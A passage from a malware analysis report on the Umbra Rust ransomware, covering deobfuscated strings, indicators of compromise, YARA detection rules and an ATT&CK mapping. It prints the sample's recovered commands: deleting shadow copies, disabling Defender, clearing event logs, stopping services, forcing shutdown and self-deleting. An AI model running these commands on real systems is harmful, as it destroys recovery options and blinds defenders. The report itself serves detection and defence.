No synchronisation primitive is imported: `CreateMutexA` / `CreateMutexW` / `CreateMutexExW` / `OpenMutexW`, `CreateEventA` / `CreateEventW` and `CreateSemaphoreW` are all absent. `CreateFileMappingA` is imported but is used for file I/O (§8), not as a named-object guard.

There is therefore **no mutex to hunt for**, and nothing prevents several instances running concurrently on the same host. `CreateDirectoryW` is likewise absent - the note writer can only write into directories that already exist.

8.4 Operator modes

String	Meaning
`Target: ...`	operates against a supplied path; `GetCommandLineW` is invoked from the top-level function `0x14000B3F0`
`Target: ... (no destructive ops)`	dry-run path, performs no destructive operation
`decryptor=`	emits a serialised form of the parsed configuration, including the 25 byte flags, which are repacked into the output buffer immediately before the call
`=== D-Mode ===`	banner, one of the 73 obfuscated strings (§8.5); gated on one of the configuration flags

8.5 String obfuscation - a pervasive scheme, fully recovered

String obfuscation is systematic here. The mechanism is shown first on one routine, then the complete recovered set is given.

`sub_140004670` (203 bytes) has a **single call site**, at `0x14000D71B` inside the top-level function. It is a control-flow-flattened state machine: a dispatcher switches on a running key held in `ecx`, each state mutates an accumulator in `edx` (`add`, `xor` with `rol` / `shr` of itself, and a final subtraction from a constant) and XORs the key to the next state, terminating with `movzx ecx, dx ; add rax, rcx ; ret`. It therefore returns **base pointer + a computed 16-bit offset**, hiding which table entry is used.

The caller reads 14 bytes at that address and applies additive deltas per chunk:

```
qword  at +0   +  0x0DBFB4A9B28BA6A6
dword  at +8   -  1636315460
word   at +12  -  12052
```

Applying those deltas across the whole image yields exactly one position that produces printable ASCII, at file offset `0x0806A0`:

```
=== D-Mode ===
```

This is not an isolated case. The characteristic epilogue `0F B7 CA 48 01 C8 C3` (`movzx ecx, dx ; add rax, rcx ; ret`) occurs **73 times** in `.text`: the image carries roughly seventy such offset-computation routines, each fronting one or more obfuscated strings, with per-string additive deltas applied by the caller. String obfuscation here is a **systematic scheme**, not a one-off.

Each of the 73 routines has **exactly one call site**, so the image carries 73 obfuscated strings. Parsing each call site for its `add` deltas and applying them across the image recovers **all 73**, yielding 64 distinct strings - nine targets are referenced from two call sites each. The blobs occupy three regions -

`0x080240` - `0x080280`, `0x080660` - `0x0808F0` and `0x0AD540` - `0x0AD850`. Each obfuscator receives a different, scattered base pointer and returns `base + (offset & 0xFFFF)`, so a candidate is only valid within 64 KB after its own base - that constraint resolves most remaining ambiguity.

Two parsing subtleties matter for anyone reproducing this: the delta often reaches the loaded register **through another register** (`mov edx, imm` then `add ecx, edx`), and an **allocator call is frequently interleaved** between the load and the add, with the values held in callee-saved registers across it.

Recovery inhibition

```
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
wbadmin delete catalog -quiet
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
bcdedit /set {current} safeboot networkminimal
```

Defence evasion

```
powershell -NoProfile -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true
-DisableBehaviorMonitoring $true 2>$null"
powershell -NoProfile -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\ 2>$null"
```

Event-log clearing - `wevtutil cl "<log>"` against four named logs

```
wevtutil cl "        Application        System        Setup        Security
```

Files dropped on disk

```
~umbra_del.bat      self-delete batch
~umbra_wp.bmp       wallpaper image written before SystemParametersInfoA
Umbra.exe           filename referenced by the self-delete path
```

Ransom-note filename

```
README_     +     .txt
```

Held as two adjacent fragments at `0x0AD830` and `0x0AD838`. The note is written as `README_<...>.txt`; the middle component is substituted at runtime.

Canary / decoy markers - see §3.7

```
canary     _decoy     honeytoken     eicar     testfile     honey
```

Environment variables

```
COMPUTERNAME        USERNAME        USERPROFILE
```

Command-line arguments and test path

```
-path     -decrypt     -safe     -safe-path     Target     C:\TestFiles  (twice)
```

Process and service control

```
taskkill /F /IM
sc stop "
sc config "
" start= disabled 2>nul
```

Reporting - see §3.6

```
curl -s -X POST -H "Content-Type: application/json" -d '
COMPUTERNAME
USERNAME
  report sent
```

Self-delete batch content - written as `~umbra_del.bat`

```
@echo off
:loop
del /F /Q "{0}"
if exist "{0}" goto loop
del "{1}"
```

`{0}` is the payload image, deleted in a spin loop until it disappears - which defeats the lock Windows holds on a running executable - and `{1}` is the batch itself, removed last. This is what the `{0}{1}` template at `0x1400814A9` feeds.

Shell, shutdown and fragments

```
cmd.exe /C "
shutdown /s /f /t 0
shutdown /r /f /t 0
' "        " 2>nul        * 2>nul
```

Mode banners and status

```
=== Starting ===        === Complete ===
=== D-Mode ===          === D-Done ===
=== Test Mode ===       === Test Complete ===
=== Safe-Path Mode ===  === Safe-Path Complete ===
-safe-path
FATAL: This is an encryptor, not a decryptor
  WP: set        WP: failed        WP: write failed
```

Every call site is accounted for. The last to fall was the batch content above: it resisted because the printable-character filter used to disambiguate rejected its `CR` / `LF` bytes - a reminder that a plausibility filter is itself an assumption.

This overturns any conclusion drawn from plaintext string searching. Every one of `vssadmin`, `wbadmin`, `bcdedit`, `wevtutil`, `wmic`, `powershell`, `cmd.exe` and `taskkill` is present in this binary; none of them appears in a plaintext scan. A statement of the form "string X is absent" is only ever a statement about the plaintext image.

No `--`-style command-line option strings are present in the binary.

---

9. Indicators of Compromise

Hashes

Type	Value
SHA-256	`976ea6c54c8eea1b7c3d1d5227c50fd16f301518fd659a9ee4a770568850f553`
SHA-1	`a4079e9a82504a22d36e36bd42a2140fc278bf09`
MD5	`ed511819294ce9f3e53784f75aa73a88`
imphash	`1b68727006ce19fb446ae13503cb9f32`

File artefacts

Indicator	Value
Dropped wallpaper file	`~umbra_wp.bmp` (name obfuscated in the image)
Self-delete batch	`~umbra_del.bat` (name obfuscated in the image)
Test path	`C:\TestFiles` - appears twice in the obfuscated set
Command-line flags	`-safe`, `-safe-path`
Event logs cleared	`Application`, `System`, `Setup`, `Security`
Encrypted extension	`.umbra`
Encrypted-file footer	296 bytes, terminated by `52 42 4D 55` (`RBMU`)
Configuration footer	`52 42 4D 55` + `u32` length + `21 44 4E 45` (`!DNE`) at end of file
ChaCha constant	`D5 46 E9 20 F6 39 B1 65 D2 4B FE 12 22 70 78 D9`
Version-resource identity	unsigned PE claiming `srmscan.exe` / `Windows System Resource Monitor` / `Microsoft Corporation` / `14.0.23107.0`
Manifest identity	`Microsoft.Windows.Srmscan`

Distinctive strings

Messages that interpolate a runtime value are stored as **separate fragments** around a two-byte format marker beginning with `0xC0`. `Key blob too small:` and `(need 272)`, for instance, are held apart by the bytes `C0 0B`. Signatures must therefore target the individual fragments, not the rendered message.

```
payload/src/engine.rs
payload/src/config.rs
Trailer not found in last 64KB - got 0x
File too small - no trailer
Config blob too small:
Invalid config size:
Key blob too small:
 (need 272)
Cannot find own exe path:
  self-delete batch:
  exec FAILED (code
 (no destructive ops)
~~~ UMBRA
>>>> Your personal DECRYPTION ID:
{DECRYPTION_ID}
```

Network

No network indicator. No `.onion`, URL, e-mail address, TOX ID or cryptocurrency address is present in the sample, and the binary has no networking capability (§7).

---

10. Detection

YARA

```
import "pe"

rule UMBRA_Ransomware_Payload
{
    meta:
        description = "Umbra ransomware - Rust payload, plaintext appended config trailer"
        family      = "Umbra"
        reference_sha256 = "976ea6c54c8eea1b7c3d1d5227c50fd16f301518fd659a9ee4a770568850f553"

    strings:
        $src1 = "payload/src/engine.rs" ascii
        $src2 = "payload/src/config.rs" ascii

        $cfg1 = "Trailer not found in last 64KB - got 0x" ascii
        $cfg2 = "File too small - no trailer" ascii
        $cfg3 = "Config blob too small: " ascii
        $cfg4 = "Invalid config size: " ascii

        $op1 = " (no destructive ops)" ascii
        $op2 = "  self-delete batch: " ascii
        $op3 = "  exec FAILED (code " ascii
        $op4 = "Cannot read own exe " ascii

        $note1 = "~~~ UMBRA " ascii
        $note2 = ">>>> Your personal DECRYPTION ID: " ascii
        $note3 = "{DECRYPTION_ID}" ascii

        $ext = ".umbra" ascii

    condition:
        uint16(0) == 0x5A4D
        and filesize > 300KB and filesize < 4MB
        and (
            all of ($src*)
            or 3 of ($cfg*)
            or ( 2 of ($op*) and $ext )
            or ( 2 of ($note*) and $ext )
        )
}

rule UMBRA_ChaCha20_Modified_Sigma
{
    meta:
        description =
"Umbra vendored ChaCha20 with non-standard state constant replacing 'expand 32-byte k'"
        family      = "Umbra"

    strings:
        $sigma = { D5 46 E9 20 F6 39 B1 65 D2 4B FE 12 22 70 78 D9 }

    condition:
        $sigma
}

rule UMBRA_Config_Trailer
{
    meta:
```

```
        description = "Umbra appended plaintext configuration trailer, or a carved configuration"
        family      = "Umbra"

    strings:
        $footer   = { 52 42 4D 55 ?? ?? ?? ?? 21 44 4E 45 }
        $skipdir  = "$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program
files" ascii
        $skipfile = "autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db" asc
ii
        $svc      = "vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss" ascii
        $proc     = "xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;thunderbird" ascii

    condition:
        $footer at (filesize - 12)
        or ( $skipdir and $skipfile and ($svc or $proc) )
}

rule UMBRA_Encrypted_File
{
    meta:
        description = "File encrypted by Umbra - 296-byte footer terminated by magic RBMU.
Structure-validated, extension-independent."
        family      = "Umbra"

    condition:
        filesize > 296
        and uint32(filesize - 4) == 0x554D4252
        and uint32(filesize - 12) == filesize - 296
        and uint32(filesize - 8) == 0
}

rule UMBRA_Masquerade_SrmScan_VersionInfo
{
    meta:
        description = "Unsigned PE presenting the srmscan.exe / Windows System Resource Monitor
identity"
        family      = "Umbra"

    strings:
        $a = "Windows System Resource Monitor" wide
        $b = "srmscan.exe" wide
        $c = "srmscan" wide
        $d = "Microsoft.Windows.Srmscan" ascii

    condition:
        uint16(0) == 0x5A4D
        and ( ($a and $c) or $b or $d )
        and pe.number_of_signatures == 0
}

rule UMBRA_Ransom_Note_Text
{
    meta:
        description = "Umbra ransom note content"
        family      = "Umbra"

    strings:
        $h  = "~~~ UMBRA " ascii wide
```

```
        $n1 = "Your files have been encrypted ~~~" ascii wide
        $n2 = "If you do not contact us, your data will be published." ascii wide
        $n3 = "Open our contact portal in Tor Browser." ascii wide
        $n4 = "Your personal DECRYPTION ID:" ascii wide

    condition:
        filesize < 32KB and ( ($h and 1 of ($n*)) or 3 of ($n*) )
}
```

Host indicators

- Files bearing the `.umbra` extension, or any file whose last four bytes are `52 42 4D 55` with a consistent size field (see §5.3).
- A ransom note appearing across many directories containing `~~~ UMBRA` or `Your personal DECRYPTION ID:`.
- Desktop wallpaper replaced via `SystemParametersInfo` by a recently written, non-shell process.
- High-volume `MoveFileExW` renames to a single new extension by one process, skipping `Windows`, `Program Files`, `Program Files (x86)`, `ProgramData` and `System Volume Information`.
- A process reading its own image file shortly after start, then beginning mass file I/O.
- A short-lived batch file written under the temporary path and executed via `WinExec`, deleting the parent executable.

---

11. MITRE ATT&CK

Techniques supported by direct observation of this sample.

ID	Technique	Basis
T1486	Data Encrypted for Impact	ChaCha20-Poly1305 payload encryption, RSA-2048 key wrapping, `.umbra` rename, ransom-note template
T1083	File and Directory Discovery	`GetLogicalDrives`, `GetDriveTypeW`, `FindFirstFileExW`, `FindNextFileW`
T1036.005	Masquerading: Match Legitimate Name or Location	unsigned PE carrying the `srmscan.exe` / Microsoft version resource and manifest identity
T1491.001	Defacement: Internal Defacement	wallpaper replacement via `SystemParametersInfoA`, called with `uiAction = SPI_SETDESKWALLPAPER`
T1070.004	Indicator Removal: File Deletion	`sub_140010B10`, called from the top-level function, references `self-delete batch:` and calls the `GetModuleFileNameW` wrapper then the `WinExec` wrapper
T1027	Obfuscated Files or Information	vendored ChaCha20 with a substituted state constant; 73 control-flow-flattened string-offset routines (§8.5)
T1490	Inhibit System Recovery	`vssadmin delete shadows /all /quiet`, `wmic shadowcopy delete`, `wbadmin delete catalog -quiet`, `bcdedit /set {default} recoveryenabled No`, `bcdedit /set {default} bootstatuspolicy ignoreallfailures` - all obfuscated in the image, flag-gated
T1562.001	Impair Defenses: Disable or Modify Tools	`Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true`, `Add-MpPreference -ExclusionPath C:\`
T1070.001	Indicator Removal: Clear Windows Event Logs	`wevtutil cl "<log>"`
T1489	Service Stop	`sc stop "<name>"`, `sc config "<name>" start= disabled`, against the configured service list
T1057 / T1059.003	Process Discovery / Windows Command Shell	`taskkill /F /IM <name>` and `cmd.exe /C "` via `WinExec`
T1529	System Shutdown/ Reboot	`shutdown /s /f /t 0`, `shutdown /r /f /t 0`
T1041	Exfiltration Over C2 Channel	`curl -s -X POST` of the status record to a configured URL list (§3.6)

All of the rows above except T1486, T1083, T1036.005, T1491.001 and T1027 are **capabilities present in the image but disabled by clear configuration flags in this build**. They are listed because they characterise the family; they were not executed by this sample.

`SetFileTime` is invoked, but with `lpLastWriteTime` pointing to `0xFFFFFFFFFFFFFFFF` and `lpCreationTime` / `lpLastAccessTime` set to `NULL` - the documented idiom for suppressing automatic timestamp updates on a handle, not timestamp falsification. T1070.006 is therefore **not** claimed.

12. Summary

Umbra is a Rust ransomware payload for Windows x86-64, cross-compiled from Linux with the MinGW toolchain and configured through a **plaintext trailer appended to the executable**. Encryption combines **RSA-2048 (e = 65537)** key wrapping with per-file **ChaCha20-Poly1305**, applied to the whole file, followed by a fixed 296-byte footer ending in the magic `RBMU`. The ChaCha implementation is vendored with its 16-byte state constant replaced, which hides it from name- and constant-based identification while providing a precise signature.

The binary presents itself as a Microsoft component (`srmscan.exe` , Windows System Resource Monitor) and is unsigned. It replaces the desktop wallpaper with an embedded cartoon-styled ransom screen and can delete itself through a generated batch file.

The image carries a **complete recovery-inhibition and defence-evasion command set**, obfuscated and executed through `WinExec` : shadow-copy and backup destruction, three `bcdedit` boot-configuration changes, Defender neutralisation via `Set-` / `Add-MpPreference` , event-log clearing, `taskkill` and `sc` against the configured process and service lists, and both `shutdown` variants. Each is gated by a configuration flag byte, and **in this build every one of those flags is clear** - so none of it executes here, and the only actions performed are encryption, note, and wallpaper.

The sample imports no networking function and no `LoadLibrary` variant, and contains no networking DLL or API name; its only egress path is `curl` invoked through `WinExec` against an operator-supplied URL list, which is empty in this build. No `.onion` host, e-mail address, TOX ID or cryptocurrency address appears anywhere, and the ransom note instructs the victim to open a "contact portal" that is never specified. There is no registry-write API and no embedded second stage.

Static analysis. Tools: IDA Pro with Hex-Rays, Ghidra, pefile, YARA. 2026-08-07